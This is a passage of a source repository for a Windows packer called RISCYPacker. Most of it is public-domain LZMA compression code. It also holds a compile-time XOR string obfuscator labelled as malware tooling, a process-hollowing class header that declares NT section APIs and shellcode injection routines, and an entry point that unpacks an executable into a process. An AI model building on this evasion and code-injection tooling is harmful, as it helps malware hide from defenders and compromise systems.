BCJ2_DEC_STATE_ORIG_2, 26 | BCJ2_DEC_STATE_ORIG_3, 27 | 28 | BCJ2_DEC_STATE_ORIG, 29 | BCJ2_DEC_STATE_OK 30 | }; 31 | 32 | enum 33 | { 34 | BCJ2_ENC_STATE_ORIG = BCJ2_NUM_STREAMS, 35 | BCJ2_ENC_STATE_OK 36 | }; 37 | 38 | 39 | #define BCJ2_IS_32BIT_STREAM(s) ((s) == BCJ2_STREAM_CALL || (s) == BCJ2_STREAM_JUMP) 40 | 41 | /* 42 | CBcj2Dec / CBcj2Enc 43 | bufs sizes: 44 | BUF_SIZE(n) = lims[n] - bufs[n] 45 | bufs sizes for BCJ2_STREAM_CALL and BCJ2_STREAM_JUMP must be mutliply of 4: 46 | (BUF_SIZE(BCJ2_STREAM_CALL) & 3) == 0 47 | (BUF_SIZE(BCJ2_STREAM_JUMP) & 3) == 0 48 | */ 49 | 50 | /* 51 | CBcj2Dec: 52 | dest is allowed to overlap with bufs[BCJ2_STREAM_MAIN], with the following conditions: 53 | bufs[BCJ2_STREAM_MAIN] >= dest && 54 | bufs[BCJ2_STREAM_MAIN] - dest >= tempReserv + 55 | BUF_SIZE(BCJ2_STREAM_CALL) + 56 | BUF_SIZE(BCJ2_STREAM_JUMP) 57 | tempReserv = 0 : for first call of Bcj2Dec_Decode 58 | tempReserv = 4 : for any other calls of Bcj2Dec_Decode 59 | overlap with offset = 1 is not allowed 60 | */ 61 | 62 | typedef struct 63 | { 64 | const Byte *bufs[BCJ2_NUM_STREAMS]; 65 | const Byte *lims[BCJ2_NUM_STREAMS]; 66 | Byte *dest; 67 | const Byte *destLim; 68 | 69 | unsigned state; /* BCJ2_STREAM_MAIN has more priority than BCJ2_STATE_ORIG */ 70 | 71 | UInt32 ip; 72 | Byte temp[4]; 73 | UInt32 range; 74 | UInt32 code; 75 | UInt16 probs[2 + 256]; 76 | } CBcj2Dec; 77 | 78 | void Bcj2Dec_Init(CBcj2Dec *p); 79 | 80 | /* Returns: SZ_OK or SZ_ERROR_DATA */ 81 | SRes Bcj2Dec_Decode(CBcj2Dec *p); 82 | 83 | #define Bcj2Dec_IsFinished(_p_) ((_p_)->code == 0) 84 | 85 | 86 | 87 | typedef enum 88 | { 89 | BCJ2_ENC_FINISH_MODE_CONTINUE, 90 | BCJ2_ENC_FINISH_MODE_END_BLOCK, 91 | BCJ2_ENC_FINISH_MODE_END_STREAM 92 | } EBcj2Enc_FinishMode; 93 | 94 | typedef struct 95 | { 96 | Byte *bufs[BCJ2_NUM_STREAMS]; 97 | const Byte *lims[BCJ2_NUM_STREAMS]; 98 | const Byte *src; 99 | const Byte *srcLim; 100 | 101 | unsigned state; 102 | EBcj2Enc_FinishMode finishMode; 103 | 104 | Byte prevByte; 105 | 106 | Byte cache; 107 | UInt32 range; 108 | UInt64 low; 109 | UInt64 cacheSize; 110 | 111 | UInt32 ip; 112 | 113 | /* 32-bit ralative offset in JUMP/CALL commands is 114 | - (mod 4 GB) in 32-bit mode 115 | - signed Int32 in 64-bit mode 116 | We use (mod 4 GB) check for fileSize. 117 | Use fileSize up to 2 GB, if you want to support 32-bit and 64-bit code conversion. */ 118 | UInt32 fileIp; 119 | UInt32 fileSize; /* (fileSize <= ((UInt32)1 << 31)), 0 means no_limit */ 120 | UInt32 relatLimit; /* (relatLimit <= ((UInt32)1 << 31)), 0 means desable_conversion */ 121 | 122 | UInt32 tempTarget; 123 | unsigned tempPos; 124 | Byte temp[4 * 2]; 125 | 126 | unsigned flushPos; 127 | 128 | UInt16 probs[2 + 256]; 129 | } CBcj2Enc; 130 | 131 | void Bcj2Enc_Init(CBcj2Enc *p); 132 | void Bcj2Enc_Encode(CBcj2Enc *p); 133 | 134 | #define Bcj2Enc_Get_InputData_Size(p) ((SizeT)((p)->srcLim - (p)->src) + (p)->tempPos) 135 | #define Bcj2Enc_IsFinished(p) ((p)->flushPos == 5) 136 | 137 | 138 | #define BCJ2_RELAT_LIMIT_NUM_BITS 26 139 | #define BCJ2_RELAT_LIMIT ((UInt32)1 << BCJ2_RELAT_LIMIT_NUM_BITS) 140 | 141 | /* limit for CBcj2Enc::fileSize variable */ 142 | #define BCJ2_FileSize_MAX ((UInt32)1 << 31) 143 | 144 | EXTERN_C_END 145 | 146 | #endif 147 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/7zCrcOpt.c: -------------------------------------------------------------------------------- 1 | /* 7zCrcOpt.c -- CRC32 calculation 2 | 2015-03-01 : Igor Pavlov : Public domain */ 3 | 4 | #include "Precomp.h" 5 | 6 | #include "CpuArch.h" 7 | 8 | #ifndef MY_CPU_BE 9 | 10 | #define CRC_UPDATE_BYTE_2(crc, b) (table[((crc) ^ (b)) & 0xFF] ^ ((crc) >> 8)) 11 | 12 | UInt32 MY_FAST_CALL CrcUpdateT4(UInt32 v, const void *data, size_t size, const UInt32 *table) 13 | { 14 | const Byte *p = (const Byte *)data; 15 | for (; size > 0 && ((unsigned)(ptrdiff_t)p & 3) != 0; size--, p++) 16 | v = CRC_UPDATE_BYTE_2(v, *p); 17 | for (; size >= 4; size -= 4, p += 4) 18 | { 19 | v ^= *(const UInt32 *)p; 20 | v = 21 | table[0x300 + ((v ) & 0xFF)] 22 | ^ table[0x200 + ((v >> 8) & 0xFF)] 23 | ^ table[0x100 + ((v >> 16) & 0xFF)] 24 | ^ table[0x000 + ((v >> 24))]; 25 | } 26 | for (; size > 0; size--, p++) 27 | v = CRC_UPDATE_BYTE_2(v, *p); 28 | return v; 29 | } 30 | 31 | UInt32 MY_FAST_CALL CrcUpdateT8(UInt32 v, const void *data, size_t size, const UInt32 *table) 32 | { 33 | const Byte *p = (const Byte *)data; 34 | for (; size > 0 && ((unsigned)(ptrdiff_t)p & 7) != 0; size--, p++) 35 | v = CRC_UPDATE_BYTE_2(v, *p); 36 | for (; size >= 8; size -= 8, p += 8) 37 | { 38 | UInt32 d; 39 | v ^= *(const UInt32 *)p; 40 | v = 41 | table[0x700 + ((v ) & 0xFF)] 42 | ^ table[0x600 + ((v >> 8) & 0xFF)] 43 | ^ table[0x500 + ((v >> 16) & 0xFF)] 44 | ^ table[0x400 + ((v >> 24))]; 45 | d = *((const UInt32 *)p + 1); 46 | v ^= 47 | table[0x300 + ((d ) & 0xFF)] 48 | ^ table[0x200 + ((d >> 8) & 0xFF)] 49 | ^ table[0x100 + ((d >> 16) & 0xFF)] 50 | ^ table[0x000 + ((d >> 24))]; 51 | } 52 | for (; size > 0; size--, p++) 53 | v = CRC_UPDATE_BYTE_2(v, *p); 54 | return v; 55 | } 56 | 57 | #endif 58 | 59 | 60 | #ifndef MY_CPU_LE 61 | 62 | #define CRC_UINT32_SWAP(v) ((v >> 24) | ((v >> 8) & 0xFF00) | ((v << 8) & 0xFF0000) | (v << 24)) 63 | 64 | #define CRC_UPDATE_BYTE_2_BE(crc, b) (table[(((crc) >> 24) ^ (b))] ^ ((crc) << 8)) 65 | 66 | UInt32 MY_FAST_CALL CrcUpdateT1_BeT4(UInt32 v, const void *data, size_t size, const UInt32 *table) 67 | { 68 | const Byte *p = (const Byte *)data; 69 | table += 0x100; 70 | v = CRC_UINT32_SWAP(v); 71 | for (; size > 0 && ((unsigned)(ptrdiff_t)p & 3) != 0; size--, p++) 72 | v = CRC_UPDATE_BYTE_2_BE(v, *p); 73 | for (; size >= 4; size -= 4, p += 4) 74 | { 75 | v ^= *(const UInt32 *)p; 76 | v = 77 | table[0x000 + ((v ) & 0xFF)] 78 | ^ table[0x100 + ((v >> 8) & 0xFF)] 79 | ^ table[0x200 + ((v >> 16) & 0xFF)] 80 | ^ table[0x300 + ((v >> 24))]; 81 | } 82 | for (; size > 0; size--, p++) 83 | v = CRC_UPDATE_BYTE_2_BE(v, *p); 84 | return CRC_UINT32_SWAP(v); 85 | } 86 | 87 | UInt32 MY_FAST_CALL CrcUpdateT1_BeT8(UInt32 v, const void *data, size_t size, const UInt32 *table) 88 | { 89 | const Byte *p = (const Byte *)data; 90 | table += 0x100; 91 | v = CRC_UINT32_SWAP(v); 92 | for (; size > 0 && ((unsigned)(ptrdiff_t)p & 7) != 0; size--, p++) 93 | v = CRC_UPDATE_BYTE_2_BE(v, *p); 94 | for (; size >= 8; size -= 8, p += 8) 95 | { 96 | UInt32 d; 97 | v ^= *(const UInt32 *)p; 98 | v = 99 | table[0x400 + ((v ) & 0xFF)] 100 | ^ table[0x500 + ((v >> 8) & 0xFF)] 101 | ^ table[0x600 + ((v >> 16) & 0xFF)] 102 | ^ table[0x700 + ((v >> 24))]; 103 | d = *((const UInt32 *)p + 1); 104 | v ^= 105 | table[0x000 + ((d ) & 0xFF)] 106 | ^ table[0x100 + ((d >> 8) & 0xFF)] 107 | ^ table[0x200 + ((d >> 16) & 0xFF)] 108 | ^ table[0x300 + ((d >> 24))]; 109 | } 110 | for (; size > 0; size--, p++) 111 | v = CRC_UPDATE_BYTE_2_BE(v, *p); 112 | return CRC_UINT32_SWAP(v); 113 | } 114 | 115 | #endif 116 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/LzFind.h: -------------------------------------------------------------------------------- 1 | /* LzFind.h -- Match finder for LZ algorithms 2 | 2015-10-15 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __LZ_FIND_H 5 | #define __LZ_FIND_H 6 | 7 | #include "7zTypes.h" 8 | 9 | EXTERN_C_BEGIN 10 | 11 | typedef UInt32 CLzRef; 12 | 13 | typedef struct _CMatchFinder 14 | { 15 | Byte *buffer; 16 | UInt32 pos; 17 | UInt32 posLimit; 18 | UInt32 streamPos; 19 | UInt32 lenLimit; 20 | 21 | UInt32 cyclicBufferPos; 22 | UInt32 cyclicBufferSize; /* it must be = (historySize + 1) */ 23 | 24 | Byte streamEndWasReached; 25 | Byte btMode; 26 | Byte bigHash; 27 | Byte directInput; 28 | 29 | UInt32 matchMaxLen; 30 | CLzRef *hash; 31 | CLzRef *son; 32 | UInt32 hashMask; 33 | UInt32 cutValue; 34 | 35 | Byte *bufferBase; 36 | ISeqInStream *stream; 37 | 38 | UInt32 blockSize; 39 | UInt32 keepSizeBefore; 40 | UInt32 keepSizeAfter; 41 | 42 | UInt32 numHashBytes; 43 | size_t directInputRem; 44 | UInt32 historySize; 45 | UInt32 fixedHashSize; 46 | UInt32 hashSizeSum; 47 | SRes result; 48 | UInt32 crc[256]; 49 | size_t numRefs; 50 | } CMatchFinder; 51 | 52 | #define Inline_MatchFinder_GetPointerToCurrentPos(p) ((p)->buffer) 53 | 54 | #define Inline_MatchFinder_GetNumAvailableBytes(p) ((p)->streamPos - (p)->pos) 55 | 56 | #define Inline_MatchFinder_IsFinishedOK(p) \ 57 | ((p)->streamEndWasReached \ 58 | && (p)->streamPos == (p)->pos \ 59 | && (!(p)->directInput || (p)->directInputRem == 0)) 60 | 61 | int MatchFinder_NeedMove(CMatchFinder *p); 62 | Byte *MatchFinder_GetPointerToCurrentPos(CMatchFinder *p); 63 | void MatchFinder_MoveBlock(CMatchFinder *p); 64 | void MatchFinder_ReadIfRequired(CMatchFinder *p); 65 | 66 | void MatchFinder_Construct(CMatchFinder *p); 67 | 68 | /* Conditions: 69 | historySize <= 3 GB 70 | keepAddBufferBefore + matchMaxLen + keepAddBufferAfter < 511MB 71 | */ 72 | int MatchFinder_Create(CMatchFinder *p, UInt32 historySize, 73 | UInt32 keepAddBufferBefore, UInt32 matchMaxLen, UInt32 keepAddBufferAfter, 74 | ISzAlloc *alloc); 75 | void MatchFinder_Free(CMatchFinder *p, ISzAlloc *alloc); 76 | void MatchFinder_Normalize3(UInt32 subValue, CLzRef *items, size_t numItems); 77 | void MatchFinder_ReduceOffsets(CMatchFinder *p, UInt32 subValue); 78 | 79 | UInt32 * GetMatchesSpec1(UInt32 lenLimit, UInt32 curMatch, UInt32 pos, const Byte *buffer, CLzRef *son, 80 | UInt32 _cyclicBufferPos, UInt32 _cyclicBufferSize, UInt32 _cutValue, 81 | UInt32 *distances, UInt32 maxLen); 82 | 83 | /* 84 | Conditions: 85 | Mf_GetNumAvailableBytes_Func must be called before each Mf_GetMatchLen_Func. 86 | Mf_GetPointerToCurrentPos_Func's result must be used only before any other function 87 | */ 88 | 89 | typedef void (*Mf_Init_Func)(void *object); 90 | typedef UInt32 (*Mf_GetNumAvailableBytes_Func)(void *object); 91 | typedef const Byte * (*Mf_GetPointerToCurrentPos_Func)(void *object); 92 | typedef UInt32 (*Mf_GetMatches_Func)(void *object, UInt32 *distances); 93 | typedef void (*Mf_Skip_Func)(void *object, UInt32); 94 | 95 | typedef struct _IMatchFinder 96 | { 97 | Mf_Init_Func Init; 98 | Mf_GetNumAvailableBytes_Func GetNumAvailableBytes; 99 | Mf_GetPointerToCurrentPos_Func GetPointerToCurrentPos; 100 | Mf_GetMatches_Func GetMatches; 101 | Mf_Skip_Func Skip; 102 | } IMatchFinder; 103 | 104 | void MatchFinder_CreateVTable(CMatchFinder *p, IMatchFinder *vTable); 105 | 106 | void MatchFinder_Init_2(CMatchFinder *p, int readData); 107 | void MatchFinder_Init(CMatchFinder *p); 108 | 109 | UInt32 Bt3Zip_MatchFinder_GetMatches(CMatchFinder *p, UInt32 *distances); 110 | UInt32 Hc3Zip_MatchFinder_GetMatches(CMatchFinder *p, UInt32 *distances); 111 | 112 | void Bt3Zip_MatchFinder_Skip(CMatchFinder *p, UInt32 num); 113 | void Hc3Zip_MatchFinder_Skip(CMatchFinder *p, UInt32 num); 114 | 115 | EXTERN_C_END 116 | 117 | #endif 118 | -------------------------------------------------------------------------------- /RISCYPacker/StringCryptor.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | 5 | //-------------------------------------------------------------// 6 | // "Malware related compile-time hacks with C++11" by LeFF // 7 | // You can use this code however you like, I just don't really // 8 | // give a shit, but if you feel some respect for me, please // 9 | // don't cut off this comment when copy-pasting... ;-) // 10 | //-------------------------------------------------------------// 11 | 12 | //////////////////////////////////////////////////////////////////// 13 | template struct EnsureCompileTime { 14 | enum : int { 15 | Value = X 16 | }; 17 | }; 18 | //////////////////////////////////////////////////////////////////// 19 | 20 | //////////////////////////////////////////////////////////////////// 21 | //Use Compile-Time as seed 22 | #define SeedE ((__TIME__[7] - '0') * 1 + (__TIME__[6] - '0') * 10 + \ 23 | (__TIME__[4] - '0') * 60 + (__TIME__[3] - '0') * 600 + \ 24 | (__TIME__[1] - '0') * 3600 + (__TIME__[0] - '0') * 36000) 25 | //////////////////////////////////////////////////////////////////// 26 | 27 | 28 | //////////////////////////////////////////////////////////////////// 29 | constexpr int LinearCongruentGenerator(int Rounds) { 30 | return 1013904223 + 1664525 * ((Rounds> 0) ? LinearCongruentGenerator(Rounds - 1) : SeedE & 0xFFFFFFFF); 31 | } 32 | #define Random() EnsureCompileTime::Value //10 Rounds 33 | #define RandomNumber(Min, Max) (Min + (Random() % (Max - Min + 1))) 34 | //////////////////////////////////////////////////////////////////// 35 | 36 | 37 | //////////////////////////////////////////////////////////////////// 38 | template struct IndexList {}; 39 | //////////////////////////////////////////////////////////////////// 40 | 41 | 42 | //////////////////////////////////////////////////////////////////// 43 | template struct Append; 44 | template struct Append, Right> { 45 | typedef IndexList Result; 46 | }; 47 | //////////////////////////////////////////////////////////////////// 48 | 49 | 50 | //////////////////////////////////////////////////////////////////// 51 | template struct ConstructIndexList { 52 | typedef typename Append::Result, N - 1>::Result Result; 53 | }; 54 | template <> struct ConstructIndexList<0> { 55 | typedef IndexList<> Result; 56 | }; 57 | //////////////////////////////////////////////////////////////////// 58 | 59 | 60 | //////////////////////////////////////////////////////////////////// 61 | const char XORKEY = static_cast(RandomNumber(0, 0xFF)); 62 | constexpr char EncryptCharacter(const char Character, int Index) { 63 | return Character ^ (XORKEY + Index); 64 | } 65 | 66 | /* 67 | constexpr char EncryptCharacterDebug(const char Character, int Index) { 68 | return Character ^ (0x8f + Index*2); 69 | }*/ 70 | 71 | template class CXorString; 72 | template class CXorString > { 73 | private: 74 | char Value[sizeof...(Index)+1]; 75 | public: 76 | constexpr CXorString(const char* const String) 77 | : Value{ EncryptCharacter(String[Index], Index)... } {} 78 | 79 | std::wstring decrypt() { 80 | for (int t = 0; t < sizeof...(Index); t++) { 81 | Value[t] = Value[t] ^ (XORKEY + t); 82 | } 83 | Value[sizeof...(Index)] = '\0'; 84 | wchar_t out[sizeof...(Index)+1]; 85 | MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, Value, -1, out, sizeof...(Index)+1); 86 | 87 | return std::wstring(out); 88 | } 89 | 90 | char* get() { 91 | return Value; 92 | } 93 | }; 94 | 95 | 96 | #define XorS(X, String) CXorString::Result> X(String) 97 | //#define XorS_debug(X, String) CXorStringDebug::Result> X(String) 98 | //////////////////////////////////////////////////////////////////// -------------------------------------------------------------------------------- /RISCYPacker/RISCYPacker.cpp: -------------------------------------------------------------------------------- 1 | // Viva.cpp : Defines the entry point for the application. 2 | // 3 | 4 | #include "stdafx.h" 5 | #include 6 | #include "RISCYPacker.h" 7 | #include "Unpacker.h" 8 | #include "Hollower.h" 9 | #include 10 | 11 | #define MAX_LOADSTRING 100 12 | 13 | // Global Variables: 14 | HINSTANCE hInst; // current instance 15 | WCHAR szTitle[MAX_LOADSTRING]; // The title bar text 16 | WCHAR szWindowClass[MAX_LOADSTRING]; // the main window class name 17 | 18 | // Forward declarations of functions included in this code module: 19 | ATOM MyRegisterClass(HINSTANCE hInstance); 20 | BOOL InitInstance(HINSTANCE, int); 21 | LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM); 22 | 23 | 24 | int APIENTRY wWinMain(_In_ HINSTANCE hInstance, 25 | _In_opt_ HINSTANCE hPrevInstance, 26 | _In_ LPWSTR lpCmdLine, 27 | _In_ int nCmdShow) 28 | { 29 | UNREFERENCED_PARAMETER(hPrevInstance); 30 | UNREFERENCED_PARAMETER(lpCmdLine); 31 | 32 | // TODO: Place code here. 33 | 34 | Unpacker upack; 35 | upack.UnpackIntoProcess(L"C:\\Users\\capta\\Desktop\\WoT_internet_install_na.exe"); 36 | 37 | } 38 | 39 | 40 | 41 | // 42 | // FUNCTION: MyRegisterClass() 43 | // 44 | // PURPOSE: Registers the window class. 45 | // 46 | ATOM MyRegisterClass(HINSTANCE hInstance) 47 | { 48 | WNDCLASSEXW wcex; 49 | 50 | wcex.cbSize = sizeof(WNDCLASSEX); 51 | 52 | wcex.style = CS_HREDRAW | CS_VREDRAW; 53 | wcex.lpfnWndProc = WndProc; 54 | wcex.cbClsExtra = 0; 55 | wcex.cbWndExtra = 0; 56 | wcex.hInstance = hInstance; 57 | wcex.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_VIVA)); 58 | wcex.hCursor = LoadCursor(nullptr, IDC_ARROW); 59 | wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1); 60 | wcex.lpszMenuName = MAKEINTRESOURCEW(IDC_VIVA); 61 | wcex.lpszClassName = szWindowClass; 62 | wcex.hIconSm = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL)); 63 | 64 | return RegisterClassExW(&wcex); 65 | } 66 | 67 | // 68 | // FUNCTION: InitInstance(HINSTANCE, int) 69 | // 70 | // PURPOSE: Saves instance handle and creates main window 71 | // 72 | // COMMENTS: 73 | // 74 | // In this function, we save the instance handle in a global variable and 75 | // create and display the main program window. 76 | // 77 | BOOL InitInstance(HINSTANCE hInstance, int nCmdShow) 78 | { 79 | hInst = hInstance; // Store instance handle in our global variable 80 | 81 | HWND hWnd = CreateWindowW(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW, 82 | CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, nullptr, nullptr, hInstance, nullptr); 83 | 84 | if (!hWnd) 85 | { 86 | return FALSE; 87 | } 88 | 89 | UpdateWindow(hWnd); 90 | 91 | return TRUE; 92 | } 93 | 94 | // 95 | // FUNCTION: WndProc(HWND, UINT, WPARAM, LPARAM) 96 | // 97 | // PURPOSE: Processes messages for the main window. 98 | // 99 | // WM_COMMAND - process the application menu 100 | // WM_PAINT - Paint the main window 101 | // WM_DESTROY - post a quit message and return 102 | // 103 | // 104 | LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) 105 | { 106 | switch (message) 107 | { 108 | case WM_COMMAND: 109 | { 110 | int wmId = LOWORD(wParam); 111 | // Parse the menu selections: 112 | switch (wmId) 113 | { 114 | case IDM_EXIT: 115 | DestroyWindow(hWnd); 116 | break; 117 | default: 118 | return DefWindowProc(hWnd, message, wParam, lParam); 119 | } 120 | } 121 | break; 122 | case WM_PAINT: 123 | { 124 | PAINTSTRUCT ps; 125 | HDC hdc = BeginPaint(hWnd, &ps); 126 | // TODO: Add any drawing code that uses hdc here... 127 | EndPaint(hWnd, &ps); 128 | } 129 | break; 130 | case WM_DESTROY: 131 | PostQuitMessage(0); 132 | break; 133 | default: 134 | return DefWindowProc(hWnd, message, wParam, lParam); 135 | } 136 | return 0; 137 | } 138 | -------------------------------------------------------------------------------- /RISCYPacker/Hollower.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "PEData.h" 3 | #include 4 | #include 5 | #include "PEData.h" 6 | #include "StringCryptor.h" 7 | 8 | #define SECTION_BASE_PLACEHOLDER 0xdeadbeef 9 | #define IAT_LOCATION_PLACEHOLDER 0xbeefdead 10 | #define CONTAINS_STRING_PLACEHOLDER 0xfeeddead 11 | #define KERNEL32_PLACEHOLDER 0xdeadc0de 12 | #define LOADLIBRARY_PLACEHOLDER 0xc0dedead 13 | #define GETPROCADDRESS_PLACEHOLDER 0xc0deface 14 | #define OEP_PLACEHOLDER 0xc0defade 15 | #define PUSH 0x68 16 | #define PUSH_PLACEHOLDER 0xfec0de00 17 | 18 | #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) 19 | typedef LONG NTSTATUS; 20 | 21 | typedef struct _LSA_UNICODE_STRING { 22 | USHORT Length; 23 | USHORT MaximumLength; 24 | PWSTR Buffer; 25 | } UNICODE_STRING, *PUNICODE_STRING; 26 | 27 | typedef struct _OBJECT_ATTRIBUTES { 28 | ULONG Length; 29 | HANDLE RootDirectory; 30 | PUNICODE_STRING ObjectName; 31 | ULONG Attributes; 32 | PVOID SecurityDescriptor; 33 | PVOID SecurityQualityOfService; 34 | } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; 35 | 36 | typedef NTSTATUS(WINAPI *TNtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress); 37 | 38 | typedef NTSTATUS(WINAPI *TNtMapViewOfSection)( 39 | HANDLE SectionHandle, 40 | HANDLE ProcessHandle, 41 | PVOID *BaseAddress, 42 | ULONG_PTR ZeroBits, 43 | SIZE_T CommitSize, 44 | PLARGE_INTEGER SectionOffset, 45 | PSIZE_T ViewSize, 46 | DWORD InheritDisposition, 47 | ULONG AllocationType, 48 | ULONG Win32Protect); 49 | 50 | typedef NTSTATUS(WINAPI *TNtCreateSection)( 51 | PHANDLE SectionHandle, 52 | ACCESS_MASK DesiredAccess, 53 | POBJECT_ATTRIBUTES ObjectAttributes, 54 | PLARGE_INTEGER MaximumSize, 55 | ULONG SectionPageProtection, 56 | ULONG AllocationAttributes, 57 | HANDLE FileHandle 58 | ); 59 | 60 | class Hollower 61 | { 62 | public: 63 | Hollower(std::wstring targetProcPath, IMAGE_DOS_HEADER *unpackedExe); 64 | HANDLE DoHollow(); 65 | ~Hollower(); 66 | private: 67 | PEData *packedPEData,*hollowedPEData; 68 | void *imageOffset; 69 | void* localSectionBase = NULL; 70 | void* remoteBase = NULL; 71 | void WriteIATInfo(size_t IATInfoOffset); 72 | void FixRelocations(); 73 | size_t containsStringSize=0; 74 | size_t IATshellcodeSize=0; 75 | std::wstring hollowedProcPath; 76 | HANDLE hProc; 77 | TNtUnmapViewOfSection NtUnmapViewOfSection; 78 | TNtMapViewOfSection NtMapViewOfSection; 79 | TNtCreateSection NtCreateSection; 80 | std::vector sections; 81 | 82 | /*************HOLLOW ROUTINES***************/ 83 | void ReMapExe(); 84 | size_t SerializeIATInfo(); 85 | void InjectBootstrapCode(size_t offset); 86 | void CreateSuspendedProcess(); 87 | 88 | }; 89 | 90 | 91 | 92 | 93 | typedef struct _PEB_LDR_DATA { 94 | BYTE Reserved1[8]; 95 | PVOID Reserved2[3]; 96 | LIST_ENTRY InMemoryOrderModuleList; 97 | } PEB_LDR_DATA, *PPEB_LDR_DATA; 98 | 99 | typedef struct _LDR_DATA_TABLE_ENTRY { 100 | PVOID Reserved1[2]; 101 | LIST_ENTRY InMemoryOrderLinks; 102 | PVOID Reserved2[2]; 103 | PVOID DllBase; 104 | PVOID Reserved3[2]; 105 | UNICODE_STRING FullDllName; 106 | BYTE Reserved4[8]; 107 | PVOID Reserved5[3]; 108 | #pragma warning(push) 109 | #pragma warning(disable: 4201) // we'll always use the Microsoft compiler 110 | union { 111 | ULONG CheckSum; 112 | PVOID Reserved6; 113 | } DUMMYUNIONNAME; 114 | #pragma warning(pop) 115 | ULONG TimeDateStamp; 116 | } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; 117 | 118 | typedef struct _RTL_USER_PROCESS_PARAMETERS { 119 | BYTE Reserved1[16]; 120 | PVOID Reserved2[10]; 121 | UNICODE_STRING ImagePathName; 122 | UNICODE_STRING CommandLine; 123 | } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; 124 | 125 | typedef struct _PEB { 126 | BYTE Reserved1[2]; 127 | BYTE BeingDebugged; 128 | BYTE Reserved2[1]; 129 | PVOID Reserved3[2]; 130 | PPEB_LDR_DATA Ldr; 131 | PRTL_USER_PROCESS_PARAMETERS ProcessParameters; 132 | PVOID Reserved4[3]; 133 | PVOID AtlThunkSListPtr; 134 | PVOID Reserved5; 135 | ULONG Reserved6; 136 | PVOID Reserved7; 137 | ULONG Reserved8; 138 | ULONG AtlThunkSListPtr32; 139 | PVOID Reserved9[45]; 140 | BYTE Reserved10[96]; 141 | DWORD* PostProcessInitRoutine; 142 | BYTE Reserved11[128]; 143 | PVOID Reserved12[1]; 144 | ULONG SessionId; 145 | } PEB, *PPEB; 146 | 147 | 148 | -------------------------------------------------------------------------------- /RISCYPacker/lzma/Ppmd7.h: -------------------------------------------------------------------------------- 1 | /* Ppmd7.h -- PPMdH compression codec 2 | 2016-05-21 : Igor Pavlov : Public domain 3 | This code is based on PPMd var.H (2001): Dmitry Shkarin : Public domain */ 4 | 5 | /* This code supports virtual RangeDecoder and includes the implementation 6 | of RangeCoder from 7z, instead of RangeCoder from original PPMd var.H. 7 | If you need the compatibility with original PPMd var.H, you can use external RangeDecoder */ 8 | 9 | #ifndef __PPMD7_H 10 | #define __PPMD7_H 11 | 12 | #include "Ppmd.h" 13 | 14 | EXTERN_C_BEGIN 15 | 16 | #define PPMD7_MIN_ORDER 2 17 | #define PPMD7_MAX_ORDER 64 18 | 19 | #define PPMD7_MIN_MEM_SIZE (1 << 11) 20 | #define PPMD7_MAX_MEM_SIZE (0xFFFFFFFF - 12 * 3) 21 | 22 | struct CPpmd7_Context_; 23 | 24 | typedef 25 | #ifdef PPMD_32BIT 26 | struct CPpmd7_Context_ * 27 | #else 28 | UInt32 29 | #endif 30 | CPpmd7_Context_Ref; 31 | 32 | typedef struct CPpmd7_Context_ 33 | { 34 | UInt16 NumStats; 35 | UInt16 SummFreq; 36 | CPpmd_State_Ref Stats; 37 | CPpmd7_Context_Ref Suffix; 38 | } CPpmd7_Context; 39 | 40 | #define Ppmd7Context_OneState(p) ((CPpmd_State *)&(p)->SummFreq) 41 | 42 | typedef struct 43 | { 44 | CPpmd7_Context *MinContext, *MaxContext; 45 | CPpmd_State *FoundState; 46 | unsigned OrderFall, InitEsc, PrevSuccess, MaxOrder, HiBitsFlag; 47 | Int32 RunLength, InitRL; /* must be 32-bit at least */ 48 | 49 | UInt32 Size; 50 | UInt32 GlueCount; 51 | Byte *Base, *LoUnit, *HiUnit, *Text, *UnitsStart; 52 | UInt32 AlignOffset; 53 | 54 | Byte Indx2Units[PPMD_NUM_INDEXES]; 55 | Byte Units2Indx[128]; 56 | CPpmd_Void_Ref FreeList[PPMD_NUM_INDEXES]; 57 | Byte NS2Indx[256], NS2BSIndx[256], HB2Flag[256]; 58 | CPpmd_See DummySee, See[25][16]; 59 | UInt16 BinSumm[128][64]; 60 | } CPpmd7; 61 | 62 | void Ppmd7_Construct(CPpmd7 *p); 63 | Bool Ppmd7_Alloc(CPpmd7 *p, UInt32 size, ISzAlloc *alloc); 64 | void Ppmd7_Free(CPpmd7 *p, ISzAlloc *alloc); 65 | void Ppmd7_Init(CPpmd7 *p, unsigned maxOrder); 66 | #define Ppmd7_WasAllocated(p) ((p)->Base != NULL) 67 | 68 | 69 | /* ---------- Internal Functions ---------- */ 70 | 71 | extern const Byte PPMD7_kExpEscape[16]; 72 | 73 | #ifdef PPMD_32BIT 74 | #define Ppmd7_GetPtr(p, ptr) (ptr) 75 | #define Ppmd7_GetContext(p, ptr) (ptr) 76 | #define Ppmd7_GetStats(p, ctx) ((ctx)->Stats) 77 | #else 78 | #define Ppmd7_GetPtr(p, offs) ((void *)((p)->Base + (offs))) 79 | #define Ppmd7_GetContext(p, offs) ((CPpmd7_Context *)Ppmd7_GetPtr((p), (offs))) 80 | #define Ppmd7_GetStats(p, ctx) ((CPpmd_State *)Ppmd7_GetPtr((p), ((ctx)->Stats))) 81 | #endif 82 | 83 | void Ppmd7_Update1(CPpmd7 *p); 84 | void Ppmd7_Update1_0(CPpmd7 *p); 85 | void Ppmd7_Update2(CPpmd7 *p); 86 | void Ppmd7_UpdateBin(CPpmd7 *p); 87 | 88 | #define Ppmd7_GetBinSumm(p) \ 89 | 